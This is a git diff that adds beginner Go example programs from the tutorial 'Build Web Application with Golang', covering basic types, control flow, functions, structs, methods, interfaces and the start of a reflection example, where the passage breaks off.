b/en/code/src/apps/ch.1.2/main.go @@ -0,0 +1,14 @@ +// Example code for Chapter 1.2 from "Build Web Application with Golang" +// Purpose: Run this file to check if your workspace is setup correctly. +// To run, navigate to the current directory in a console and type `go run main.go` +// If the text "Hello World" isn't shown, then setup your workspace again. +package main + +import ( + "fmt" + "mymath" +) + +func main() { + fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) +} diff --git a/en/code/src/apps/ch.2.1/main.go b/en/code/src/apps/ch.2.1/main.go new file mode 100644 index 00000000..1aa5bae1 --- /dev/null +++ b/en/code/src/apps/ch.2.1/main.go @@ -0,0 +1,11 @@ +// Example code for Chapter ? from "Build Web Application with Golang" +// Purpose: Hello world example demonstrating UTF-8 support. +// To run in the console, type `go run main.go` +// You're missing language fonts, if you're seeing squares or question marks. +package main + +import "fmt" + +func main() { + fmt.Printf("Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちは世界\n") +} diff --git a/en/code/src/apps/ch.2.2/main.go b/en/code/src/apps/ch.2.2/main.go new file mode 100644 index 00000000..5b54b9c5 --- /dev/null +++ b/en/code/src/apps/ch.2.2/main.go @@ -0,0 +1,277 @@ +// Example code for Chapter 2.2 from "Build Web Application with Golang" +// Purpose: Goes over the assignment and manipulation of basic data types. +package main + +import ( + "errors" + "fmt" +) + +// constants +const Pi = 3.1415926 + +// booleans default to `false` +var isActive bool // global variable +var enabled, disabled = true, false // omit type of variables + +// grouped definitions +const ( + i = 1e4 + MaxThread = 10 + prefix = "astaxie_" +) + +var ( + frenchHello string // basic form to define string + emptyString string = "" // define a string with empty string +) + +func show_multiple_assignments() { + fmt.Println("show_multiple_assignments()") + var v1 int = 42 + + // Define three variables with type "int", and initialize their values. + // vname1 is v1, vname2 is v2, vname3 is v3 + var v2, v3 int = 2, 3 + + // `:=` only works in functions + // `:=` is the short way of declaring variables without + // specifying the type and using the keyboard `var`. + vname1, vname2, vname3 := v1, v2, v3 + + // `_` disregards the returned value. + _, b := 34, 35 + + fmt.Printf("vname1 = %v, vname2 = %v, vname3 = %v\n", vname1, vname2, vname3) + fmt.Printf("v1 = %v, v2 = %v, v3 = %v\n", v1, v2, v3) + fmt.Println("b =", b) +} +func show_bool() { + fmt.Println("show_bool()") + var available bool // local variable + valid := false // Shorthand assignment + available = true // assign value to variable + + fmt.Printf("valid = %v, !valid = %v\n", valid, !valid) + fmt.Printf("available = %v\n", available) +} +func show_different_types() { + fmt.Println("show_different_types()") + var ( + unicodeChar rune + a int8 + b int16 + c int32 + d int64 + e byte + f uint8 + g int16 + h uint32 + i uint64 + ) + var cmplx complex64 = 5 + 5i + + fmt.Println("Default values for int types") + fmt.Println(unicodeChar, a, b, c, d, e, f, g, h, i) + + fmt.Printf("Value is: %v\n", cmplx) +} +func show_strings() { + fmt.Println("show_strings()") + no, yes, maybe := "no", "yes", "maybe" // brief statement + japaneseHello := "Ohaiyou" + frenchHello = "Bonjour" // basic form of assign values + + fmt.Println("Random strings") + fmt.Println(frenchHello, japaneseHello, no, yes, maybe) + + // The backtick, `, will not escape any character in a string + fmt.Println(`This + is on + multiple lines`) +} +func show_string_manipulation() { + fmt.Println("show_string_manipulation()") + var s string = "hello" + + //You can't do this with strings + //s[0] = 'c' + + s = "hello" + c := []byte(s) // convert string to []byte type + c[0] = 'c' + s2 := string(c) // convert back to string type + + m := " world" + a := s + m + + d := "c" + s[1:] // you cannot change string values by index, but you can get values instead. + fmt.Printf("%s\n", d) + + fmt.Printf("s = %s, c = %v\n", s, c) + fmt.Printf("s2 = %s\n", s2) + fmt.Printf("combined strings\na = %s, d = %s\n", a, d) +} +func show_errors() { + fmt.Println("show_errors()") + err := errors.New("Example error message\n") + if err != nil { + fmt.Print(err) + } +} +func show_iota() { + fmt.Println("show_iota()") + const ( + x = iota // x == 0 + y = iota // y == 1 + z = iota // z == 2 + w // If there is no expression after constants name, + // it uses the last expression, so here is saying w = iota implicitly. + // Therefore w == 3, and y and x both can omit "= iota" as well. + ) + + const v = iota // once iota meets keyword `const`, it resets to `0`, so v = 0. + + const ( + e, f, g = iota, iota, iota // e=0,f=0,g=0 values of iota are same in one line. + ) + fmt.Printf("x = %v, y = %v, z = %v, w = %v\n", x, y, z, w) + fmt.Printf("v = %v\n", v) + fmt.Printf("e = %v, f = %v, g = %v\n", e, f, g) +} + +// Functions and variables starting with a capital letter are public to other packages. +// Everything else is private. +func This_is_public() {} +func this_is_private() {} + +func set_default_values() { + // default values for the types. + const ( + a int = 0 + b int8 = 0 + c int32 = 0 + d int64 = 0 + e uint = 0x0 + f rune = 0 // the actual type of rune is int32 + g byte = 0x0 // the actual type of byte is uint8 + h float32 = 0 // length is 4 byte + i float64 = 0 //length is 8 byte + j bool = false + k string = "" + ) +} +func show_arrays() { + fmt.Println("show_arrays()") + var arr [10]int // an array of type int + arr[0] = 42 // array is 0-based + arr[1] = 13 // assign value to element + + a := [3]int{1, 2, 3} // define a int array with 3 elements + + b := [10]int{1, 2, 3} + // define a int array with 10 elements, + // and first three are assigned, rest of them use default value 0. + + c := [...]int{4, 5, 6} // use `…` replace with number of length, Go will calculate it for you. + + // define a two-dimensional array with 2 elements, and each element has 4 elements. + doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}} + + // You can write about declaration in a shorter way. + easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}} + + fmt.Println("arr =", arr) + fmt.Printf("The first element is %d\n", arr[0]) // get element value, it returns 42 + fmt.Printf("The last element is %d\n", arr[9]) + //it returns default value of 10th element in this array, which is 0 in this case. + + fmt.Println("array a =", a) + fmt.Println("array b =", b) + fmt.Println("array c =", c) + + fmt.Println("array doubleArray =", doubleArray) + fmt.Println("array easyArray =", easyArray) +} +func show_slices() { + fmt.Println("show_slices()") + // define a slice with 10 elements which types are byte + var ar = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + + // define two slices with type []byte + var a, b []byte + + // a points to elements from 3rd to 5th in array ar. + a = ar[2:5] + // now a has elements ar[2]、ar[3] and ar[4] + + // b is another slice of array ar + b = ar[3:5] + // now b has elements ar[3] and ar[4] + + // define an array + var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + // define two slices + var aSlice, bSlice []byte + + // some convenient operations + aSlice = array[:3] // equals to aSlice = array[0:3] aSlice has elements a,b,c + aSlice = array[5:] // equals to aSlice = array[5:10] aSlice has elements f,g,h,i,j + aSlice = array[:] // equals to aSlice = array[0:10] aSlice has all elements + + // slice from slice + aSlice = array[3:7] // aSlice has elements d,e,f,g,len=4,cap=7 + bSlice = aSlice[1:3] // bSlice contains aSlice[1], aSlice[2], so it has elements e,f + bSlice = aSlice[:3] // bSlice contains aSlice[0], aSlice[1], aSlice[2], so it has d,e,f + bSlice = aSlice[0:5] // slcie could be expanded in range of cap, now bSlice contains d,e,f,g,h + bSlice = aSlice[:] // bSlice has same elements as aSlice does, which are d,e,f,g + + fmt.Println("slice ar =", ar) + fmt.Println("slice a =", a) + fmt.Println("slice b =", b) + fmt.Println("array =", array) + fmt.Println("slice aSlice =", aSlice) + fmt.Println("slice bSlice =", bSlice) + fmt.Println("len(bSlice) =", len(bSlice)) +} +func show_map() { + fmt.Println("show_map()") + // use string as key type, int as value type, and you have to use `make` initialize it. + var numbers map[string]int + // another way to define map + numbers = make(map[string]int) + numbers["one"] = 1 // assign value by key + numbers["ten"] = 10 + numbers["three"] = 3 + + // Initialize a map + rating := map[string]float32{"C": 5, "Go": 4.5, "Python": 4.5, "C++": 2} + + fmt.Println("map numbers =", numbers) + fmt.Println("The third number is: ", numbers["three"]) // get values + // It prints: The third number is: 3 + + // map has two return values. For second value, if the key doesn't exist,ok is false,true otherwise. + csharpRating, ok := rating["C#"] + if ok { + fmt.Println("C# is in the map and its rating is ", csharpRating) + } else { + fmt.Println("We have no rating associated with C# in the map") + } + + delete(rating, "C") // delete element with key "c" + fmt.Printf("map rating = %#v\n", rating) +} +func main() { + show_multiple_assignments() + show_bool() + show_different_types() + show_strings() + show_string_manipulation() + show_errors() + show_iota() + set_default_values() + show_arrays() + show_slices() + show_map() +} diff --git a/en/code/src/apps/ch.2.2/what_is_wrong_with_this/main.go b/en/code/src/apps/ch.2.2/what_is_wrong_with_this/main.go new file mode 100644 index 00000000..b435f038 --- /dev/null +++ b/en/code/src/apps/ch.2.2/what_is_wrong_with_this/main.go @@ -0,0 +1,8 @@ +// Example code for Chapter 2.2 from "Build Web Application with Golang" +// Purpose: Try to fix this program. +// From the console, type `go run main.go` +package main + +func main() { + var i int +} diff --git a/en/code/src/apps/ch.2.3/basic_functions/main.go b/en/code/src/apps/ch.2.3/basic_functions/main.go new file mode 100644 index 00000000..6f6a63f4 --- /dev/null +++ b/en/code/src/apps/ch.2.3/basic_functions/main.go @@ -0,0 +1,26 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Creating a basic function +package main + +import "fmt" + +// return greater value between a and b +func max(a, b int) int { + if a > b { + return a + } + return b +} + +func main() { + x := 3 + y := 4 + z := 5 + + max_xy := max(x, y) // call function max(x, y) + max_xz := max(x, z) // call function max(x, z) + + fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy) + fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz) + fmt.Printf("max(%d, %d) = %d\n", y, z, max(y, z)) // call function here +} diff --git a/en/code/src/apps/ch.2.3/hidden_print_methods/main.go b/en/code/src/apps/ch.2.3/hidden_print_methods/main.go new file mode 100644 index 00000000..0d3df05a --- /dev/null +++ b/en/code/src/apps/ch.2.3/hidden_print_methods/main.go @@ -0,0 +1,14 @@ +// As of Google go 1.1.2, `println()` and `print()` are hidden functions included from the runtime package. +// However it's encouraged to use the print functions from the `fmt` package. +package main + +import "fmt" + +func f() { + fmt.Println("First") + print("Second ") + println(" Third") +} +func main() { + f() +} diff --git a/en/code/src/apps/ch.2.3/import_packages/main.go b/en/code/src/apps/ch.2.3/import_packages/main.go new file mode 100644 index 00000000..c4d72756 --- /dev/null +++ b/en/code/src/apps/ch.2.3/import_packages/main.go @@ -0,0 +1,26 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Shows different ways of importing a package. +// Note: For the package `only_call_init`, we reference the path from the +// base directory of `$GOPATH/src`. The reason being Golang discourage +// the use of relative paths when import packages. +// BAD: "./only_call_init" +// GOOD: "apps/ch.2.3/import_packages/only_call_init" +package main + +import ( + // `_` will only call init() inside the package only_call_init + _ "apps/ch.2.3/import_packages/only_call_init" + f "fmt" // import the package as `f` + . "math" // makes the public methods and constants global + "mymath" // custom package located at $GOPATH/src/ + "os" // normal import of a standard package + "text/template" // the package takes the name of last folder path, `template` +) + +func main() { + f.Println("mymath.Sqrt(4) =", mymath.Sqrt(4)) + f.Println("E =", E) // references math.E + + t, _ := template.New("test").Parse("Pi^2 = {{.}}") + t.Execute(os.Stdout, Pow(Pi, 2)) +} diff --git a/en/code/src/apps/ch.2.3/import_packages/only_call_init/only_call_init.go b/en/code/src/apps/ch.2.3/import_packages/only_call_init/only_call_init.go new file mode 100644 index 00000000..789a6c79 --- /dev/null +++ b/en/code/src/apps/ch.2.3/import_packages/only_call_init/only_call_init.go @@ -0,0 +1,7 @@ +package only_call_init + +import "fmt" + +func init() { + fmt.Println("only_call_init.init() was called.") +} diff --git a/en/code/src/apps/ch.2.3/main.go b/en/code/src/apps/ch.2.3/main.go new file mode 100644 index 00000000..52be227d --- /dev/null +++ b/en/code/src/apps/ch.2.3/main.go @@ -0,0 +1,142 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Goes over if, else, switch conditions, loops and defer. +package main + +import "fmt" + +func computedValue() int { + return 1 +} +func show_if() { + fmt.Println("\n#show_if()") + x := computedValue() + integer := 23 + + fmt.Println("x =", x) + fmt.Println("integer =", integer) + if x > 10 { + fmt.Println("x is greater than 10") + } else { + fmt.Println("x is less than 10") + } + + if integer == 3 { + fmt.Println("The integer is equal to 3") + } else if integer < 3 { + fmt.Println("The integer is less than 3") + } else { + fmt.Println("The integer is greater than 3") + } +} +func show_if_var() { + fmt.Println("\n#show_if_var()") + // initialize x, then check if x greater than + if x := computedValue(); x > 10 { + fmt.Println("x is greater than 10") + } else { + fmt.Println("x is less than 10") + } + + // the following code will not compile, since `x` is only accessable with the if/else block + // fmt.Println(x) +} +func show_goto() { + fmt.Println("\n#show_goto()") + // The call to the label switches the goroutine it seems. + i := 0 +Here: // label ends with ":" + fmt.Println(i) + i++ + if i < 10 { + goto Here // jump to label "Here" + } +} +func show_for_loop() { + fmt.Println("\n#show_for_loop()") + sum := 0 + for index := 0; index < 10; index++ { + sum += index + } + fmt.Println("part 1, sum is equal to ", sum) + + sum = 1 + // The compiler will remove the `;` from the line below. + // for ; sum < 1000 ; { + for sum < 1000 { + sum += sum + } + fmt.Println("part 2, sum is equal to ", sum) + + for index := 10; 0 < index; index-- { + if index == 5 { + break // or continue + } + fmt.Println(index) + } + +} +func show_loop_through_map() { + fmt.Println("\n#show_loop_through_map()") + m := map[string]int{ + "one": 1, + "two": 2, + "three": 3, + } + fmt.Println("map value = ", m) + for k, v := range m { + fmt.Println("map's key: ", k) + fmt.Println("map's value: ", v) + } +} +func show_switch() { + fmt.Println("\n#show_switch()") + i := 10 + switch i { + case 1: + fmt.Println("i is equal to 1") + case 2, 3, 4: + fmt.Println("i is equal to 2, 3 or 4") + case 10: + fmt.Println("i is equal to 10") + default: + fmt.Println("All I know is that i is an integer") + } + + integer := 6 + fmt.Println("integer =", integer) + switch integer { + case 4: + fmt.Println("integer == 4") + fallthrough + case 5: + fmt.Println("integer <= 5") + fallthrough + case 6: + fmt.Println("integer <= 6") + fallthrough + case 7: + fmt.Println("integer <= 7") + fallthrough + case 8: + fmt.Println("integer <= 8") + fallthrough + default: + fmt.Println("default case") + } +} +func show_defer() { + fmt.Println("\nshow_defer()") + defer fmt.Println("(last defer)") + for i := 0; i < 5; i++ { + defer fmt.Printf("%d ", i) + } +} +func main() { + show_if() + show_if_var() + show_goto() + show_for_loop() + show_loop_through_map() + show_switch() + show_defer() +} diff --git a/en/code/src/apps/ch.2.3/panic_and_recover/main.go b/en/code/src/apps/ch.2.3/panic_and_recover/main.go new file mode 100644 index 00000000..88398668 --- /dev/null +++ b/en/code/src/apps/ch.2.3/panic_and_recover/main.go @@ -0,0 +1,31 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Showing how to use `panic()` and `recover()` +package main + +import ( + "fmt" + "os" +) + +var user = os.Getenv("USER") + +func check_user() { + if user == "" { + panic("no value for $USER") + } + fmt.Println("Environment Variable `USER` =", user) +} +func throwsPanic(f func()) (b bool) { + defer func() { + if x := recover(); x != nil { + fmt.Println("Panic message =", x); + b = true + } + }() + f() // if f causes panic, it will recover + return +} +func main(){ + didPanic := throwsPanic(check_user) + fmt.Println("didPanic =", didPanic) +} diff --git a/en/code/src/apps/ch.2.3/pass_by_value_and_pointer/main.go b/en/code/src/apps/ch.2.3/pass_by_value_and_pointer/main.go new file mode 100644 index 00000000..1c9e9c75 --- /dev/null +++ b/en/code/src/apps/ch.2.3/pass_by_value_and_pointer/main.go @@ -0,0 +1,31 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Shows passing a variable by value and reference +package main + +import "fmt" + +func add_by_value(a int) int { + a = a + 1 + return a +} +func add_by_reference(a *int) int { + *a = *a + 1 + return *a +} +func show_add_by_value() { + x := 3 + fmt.Println("x = ", x) + fmt.Println("add_by_value(x) =", add_by_value(x) ) + fmt.Println("x = ", x) +} +func show_add_by_reference() { + x := 3 + fmt.Println("x = ", x) + // &x pass memory address of x + fmt.Println("add_by_reference(&x) =", add_by_reference(&x) ) + fmt.Println("x = ", x) +} +func main() { + show_add_by_value() + show_add_by_reference() +} diff --git a/en/code/src/apps/ch.2.3/type_function/main.go b/en/code/src/apps/ch.2.3/type_function/main.go new file mode 100644 index 00000000..6645d4fe --- /dev/null +++ b/en/code/src/apps/ch.2.3/type_function/main.go @@ -0,0 +1,44 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Shows how to define a function type +package main + +import "fmt" + +type testInt func(int) bool // define a function type of variable + +func isOdd(integer int) bool { + if integer%2 == 0 { + return false + } + return true +} + +func isEven(integer int) bool { + if integer%2 == 0 { + return true + } + return false +} + +// pass the function `f` as an argument to another function + +func filter(slice []int, f testInt) []int { + var result []int + for _, value := range slice { + if f(value) { + result = append(result, value) + } + } + return result +} +func init() { + fmt.Println("\n#init() was called.") +} +func main() { + slice := []int{1, 2, 3, 4, 5, 7} + fmt.Println("slice = ", slice) + odd := filter(slice, isOdd) // use function as values + fmt.Println("Odd elements of slice are: ", odd) + even := filter(slice, isEven) + fmt.Println("Even elements of slice are: ", even) +} diff --git a/en/code/src/apps/ch.2.3/variadic_functions/main.go b/en/code/src/apps/ch.2.3/variadic_functions/main.go new file mode 100644 index 00000000..559222fe --- /dev/null +++ b/en/code/src/apps/ch.2.3/variadic_functions/main.go @@ -0,0 +1,20 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Shows how to return multiple values from a function +package main + +import "fmt" + +// return results of A + B and A * B +func SumAndProduct(A, B int) (int, int) { + return A + B, A * B +} + +func main() { + x := 3 + y := 4 + + xPLUSy, xTIMESy := SumAndProduct(x, y) + + fmt.Printf("%d + %d = %d\n", x, y, xPLUSy) + fmt.Printf("%d * %d = %d\n", x, y, xTIMESy) +} diff --git a/en/code/src/apps/ch.2.4/compare_age/main.go b/en/code/src/apps/ch.2.4/compare_age/main.go new file mode 100644 index 00000000..76772c56 --- /dev/null +++ b/en/code/src/apps/ch.2.4/compare_age/main.go @@ -0,0 +1,43 @@ +// Example code for Chapter 2.4 from "Build Web Application with Golang" +// Purpose: Shows you how to pass and use structs. +package main + +import "fmt" + +// define a new type +type person struct { + name string + age int +} + +// compare age of two people, return the older person and differences of age +// struct is passed by value +func Older(p1, p2 person) (person, int) { + if p1.age > p2.age { + return p1, p1.age - p2.age + } + return p2, p2.age - p1.age +} + +func main() { + var tom person + + // initialization + tom.name, tom.age = "Tom", 18 + + // initialize two values by format "field:value" + bob := person{age: 25, name: "Bob"} + + // initialize two values with order + paul := person{"Paul", 43} + + tb_Older, tb_diff := Older(tom, bob) + tp_Older, tp_diff := Older(tom, paul) + bp_Older, bp_diff := Older(bob, paul) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, bob.name, tb_Older.name, tb_diff) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, paul.name, tp_Older.name, tp_diff) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", bob.name, paul.name, bp_Older.name, bp_diff) +} diff --git a/en/code/src/apps/ch.2.4/embedded_structs/main.go b/en/code/src/apps/ch.2.4/embedded_structs/main.go new file mode 100644 index 00000000..342e51a5 --- /dev/null +++ b/en/code/src/apps/ch.2.4/embedded_structs/main.go @@ -0,0 +1,39 @@ +// Example code for Chapter 2.4 from "Build Web Application with Golang" +// Purpose: Example of embedded fields +package main + +import "fmt" + +type Human struct { + name string + age int + weight int +} + +type Student struct { + Human // anonymous field, it means Student struct includes all fields that Human has. + speciality string +} + +func main() { + // initialize a student + mark := Student{Human{"Mark", 25, 120}, "Computer Science"} + + // access fields + fmt.Println("His name is ", mark.name) + fmt.Println("His age is ", mark.age) + fmt.Println("His weight is ", mark.weight) + fmt.Println("His speciality is ", mark.speciality) + // modify notes + mark.speciality = "AI" + fmt.Println("Mark changed his speciality") + fmt.Println("His speciality is ", mark.speciality) + // modify age + fmt.Println("Mark become old") + mark.age = 46 + fmt.Println("His age is", mark.age) + // modify weight + fmt.Println("Mark is not an athlete any more") + mark.weight += 60 + fmt.Println("His weight is", mark.weight) +} diff --git a/en/code/src/apps/ch.2.4/embedded_structs2/main.go b/en/code/src/apps/ch.2.4/embedded_structs2/main.go new file mode 100644 index 00000000..9f8e292d --- /dev/null +++ b/en/code/src/apps/ch.2.4/embedded_structs2/main.go @@ -0,0 +1,39 @@ +// Example code for Chapter 2.4 from "Build Web Application with Golang" +// Purpose: Another example of embedded fields +package main + +import "fmt" + +type Skills []string + +type Human struct { + name string + age int + weight int +} + +type Student struct { + Human // struct as embedded field + Skills // string slice as embedded field + int // built-in type as embedded field + speciality string +} + +func main() { + // initialize Student Jane + jane := Student{Human: Human{"Jane", 35, 100}, speciality: "Biology"} + // access fields + fmt.Println("Her name is ", jane.name) + fmt.Println("Her age is ", jane.age) + fmt.Println("Her weight is ", jane.weight) + fmt.Println("Her speciality is ", jane.speciality) + // modify value of skill field + jane.Skills = []string{"anatomy"} + fmt.Println("Her skills are ", jane.Skills) + fmt.Println("She acquired two new ones ") + jane.Skills = append(jane.Skills, "physics", "golang") + fmt.Println("Her skills now are ", jane.Skills) + // modify embedded field + jane.int = 3 + fmt.Println("Her preferred number is", jane.int) +} diff --git a/en/code/src/apps/ch.2.4/embedded_structs_with_name_conflict/main.go b/en/code/src/apps/ch.2.4/embedded_structs_with_name_conflict/main.go new file mode 100644 index 00000000..61df1683 --- /dev/null +++ b/en/code/src/apps/ch.2.4/embedded_structs_with_name_conflict/main.go @@ -0,0 +1,24 @@ +// Example code for Chapter 2.4 from "Build Web Application with Golang" +// Purpose: Shows a name conflict with a embedded field +package main + +import "fmt" + +type Human struct { + name string + age int + phone string // Human has phone field +} + +type Employee struct { + Human // embedded field Human + speciality string + phone string // phone in employee +} + +func main() { + Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"} + fmt.Println("Bob's work phone is:", Bob.phone) + // access phone field in Human + fmt.Println("Bob's personal phone is:", Bob.Human.phone) +} diff --git a/en/code/src/apps/ch.2.4/main.go b/en/code/src/apps/ch.2.4/main.go new file mode 100644 index 00000000..f6d3a578 --- /dev/null +++ b/en/code/src/apps/ch.2.4/main.go @@ -0,0 +1,39 @@ +// Example code for Chapter 2.4 from "Build Web Application with Golang" +// Purpose: Shows different ways of creating a struct +package main + +import "fmt" + +func show_basic_struct() { + fmt.Println("\nshow_basic_struct()") + type person struct { + name string + age int + } + + var P person // p is person type + + P.name = "Astaxie" // assign "Astaxie" to the filed 'name' of p + P.age = 25 // assign 25 to field 'age' of p + fmt.Printf("The person's name is %s\n", P.name) // access field 'name' of p + + tom := person{"Tom", 25} + + bob := person{age: 24, name: "Bob"} + + fmt.Printf("tom = %+v\n", tom) + fmt.Printf("bob = %#v\n", bob) +} +func show_anonymous_struct() { + fmt.Println("\nshow_anonymous_struct()") + fmt.Printf("Anonymous struct = %#v\n", struct { + name string + count int + }{ + "counter", 1, + }) +} +func main() { + show_basic_struct() + show_anonymous_struct() +} diff --git a/en/code/src/apps/ch.2.5/attach_methods_to_struct/main.go b/en/code/src/apps/ch.2.5/attach_methods_to_struct/main.go new file mode 100644 index 00000000..cc025a61 --- /dev/null +++ b/en/code/src/apps/ch.2.5/attach_methods_to_struct/main.go @@ -0,0 +1,36 @@ +// Example code from Chapter 2.5 +// Attach method to struct. +package main + +import ( + "fmt" + "math" +) + +type Rectangle struct { + width, height float64 +} + +type Circle struct { + radius float64 +} + +func (r Rectangle) area() float64 { + return r.width * r.height +} + +func (c Circle) area() float64 { + return c.radius * c.radius * math.Pi +} + +func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + c1 := Circle{10} + c2 := Circle{25} + + fmt.Println("Area of r1 is: ", r1.area()) + fmt.Println("Area of r2 is: ", r2.area()) + fmt.Println("Area of c1 is: ", c1.area()) + fmt.Println("Area of c2 is: ", c2.area()) +} diff --git a/en/code/src/apps/ch.2.5/box_example/main.go b/en/code/src/apps/ch.2.5/box_example/main.go new file mode 100644 index 00000000..c0386729 --- /dev/null +++ b/en/code/src/apps/ch.2.5/box_example/main.go @@ -0,0 +1,73 @@ +package main + +import "fmt" + +const ( + WHITE = iota + BLACK + BLUE + RED + YELLOW +) + +type Color byte + +type Box struct { + width, height, depth float64 + color Color +} + +type BoxList []Box //a slice of boxes + +func (b Box) Volume() float64 { + return b.width * b.height * b.depth +} + +func (b *Box) SetColor(c Color) { + b.color = c +} + +func (bl BoxList) BiggestsColor() Color { + v := 0.00 + k := Color(WHITE) + for _, b := range bl { + if b.Volume() > v { + v = b.Volume() + k = b.color + } + } + return k +} + +func (bl BoxList) PaintItBlack() { + for i, _ := range bl { + bl[i].SetColor(BLACK) + } +} + +func (c Color) String() string { + strings := []string{"WHITE", "BLACK", "BLUE", "RED", "YELLOW"} + return strings[c] +} + +func main() { + boxes := BoxList{ + Box{4, 4, 4, RED}, + Box{10, 10, 1, YELLOW}, + Box{1, 1, 20, BLACK}, + Box{10, 10, 1, BLUE}, + Box{10, 30, 1, WHITE}, + Box{20, 20, 20, YELLOW}, + } + + fmt.Printf("We have %d boxes in our set\n", len(boxes)) + fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³") + fmt.Println("The color of the last one is", boxes[len(boxes)-1].color.String()) + fmt.Println("The biggest one is", boxes.BiggestsColor().String()) + + fmt.Println("Let's paint them all black") + boxes.PaintItBlack() + fmt.Println("The color of the second one is", boxes[1].color.String()) + + fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String()) +} diff --git a/en/code/src/apps/ch.2.5/embedded_method/main.go b/en/code/src/apps/ch.2.5/embedded_method/main.go new file mode 100644 index 00000000..ed32c73b --- /dev/null +++ b/en/code/src/apps/ch.2.5/embedded_method/main.go @@ -0,0 +1,31 @@ +package main +import "fmt" + +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human // anonymous field + school string +} + +type Employee struct { + Human + company string +} + +// define a method in Human +func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + + mark.SayHi() + sam.SayHi() +} diff --git a/en/code/src/apps/ch.2.5/method_overload/main.go b/en/code/src/apps/ch.2.5/method_overload/main.go new file mode 100644 index 00000000..c9b2978c --- /dev/null +++ b/en/code/src/apps/ch.2.5/method_overload/main.go @@ -0,0 +1,36 @@ +package main + +import "fmt" + +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human + school string +} + +type Employee struct { + Human + company string +} + +func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +func (e *Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. +} + +func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + + mark.SayHi() + sam.SayHi() +} diff --git a/en/code/src/apps/ch.2.5/pass_struct_to_method/main.go b/en/code/src/apps/ch.2.5/pass_struct_to_method/main.go new file mode 100644 index 00000000..4096d4bc --- /dev/null +++ b/en/code/src/apps/ch.2.5/pass_struct_to_method/main.go @@ -0,0 +1,18 @@ +package main + +import "fmt" + +type Rectangle struct { + width, height float64 +} + +func area(r Rectangle) float64 { + return r.width * r.height +} + +func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + fmt.Println("Area of r1 is: ", area(r1)) + fmt.Println("Area of r2 is: ", area(r2)) +} diff --git a/en/code/src/apps/ch.2.6/interface/main.go b/en/code/src/apps/ch.2.6/interface/main.go new file mode 100644 index 00000000..fc980389 --- /dev/null +++ b/en/code/src/apps/ch.2.6/interface/main.go @@ -0,0 +1,71 @@ +package main +import "fmt" + +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human + school string + loan float32 +} + +type Employee struct { + Human + company string + money float32 +} + +func (h Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +func (h Human) Sing(lyrics string) { + fmt.Println("La la la la...", lyrics) +} + +func (e Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. +} + +// Interface Men implemented by Human, Student and Employee +type Men interface { + SayHi() + Sing(lyrics string) +} + +func main() { + mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00} + paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100} + sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000} + Tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000} + + // define interface i + var i Men + + //i can store Student + i = mike + fmt.Println("This is Mike, a Student:") + i.SayHi() + i.Sing("November rain") + + //i can store Employee + i = Tom + fmt.Println("This is Tom, an Employee:") + i.SayHi() + i.Sing("Born to be wild") + + // slice of Men + fmt.Println("Let's use a slice of Men and see what happens") + x := make([]Men, 3) + // these three elements are different types but they all implemented interface Men + x[0], x[1], x[2] = paul, sam, mike + + for _, value := range x{ + value.SayHi() + } +} diff --git a/en/code/src/apps/ch.2.6/reflection/main.go b/en/code/src/apps/ch.2.6/reflection/main.go new file mode 100644 index 00000000..e0f50f7e --- /dev/null +++ b/en/code/src/apps/ch.2.6/reflection/main.go @@ -0,0 +1,33 @@ +package main + +import ( + "fmt" + "reflect" +) + +func show_interface_none() { + fmt.Println("\nshow_interface_none()") + var a interface{} + a = "string" + a = 1 + a = false + fmt.Println("a =", a) +} +func show_reflection() { + fmt.Println("\nshow_reflection()") + var x float64 = 3.4 + v := reflect.ValueOf(x) + fmt.Println("type:", v.Type()) + fmt.Println("kind is float64:", v.Kind() == reflect.Float64) + fmt.Println("value:", v.Float()) + + p := reflect.ValueOf(&x) + 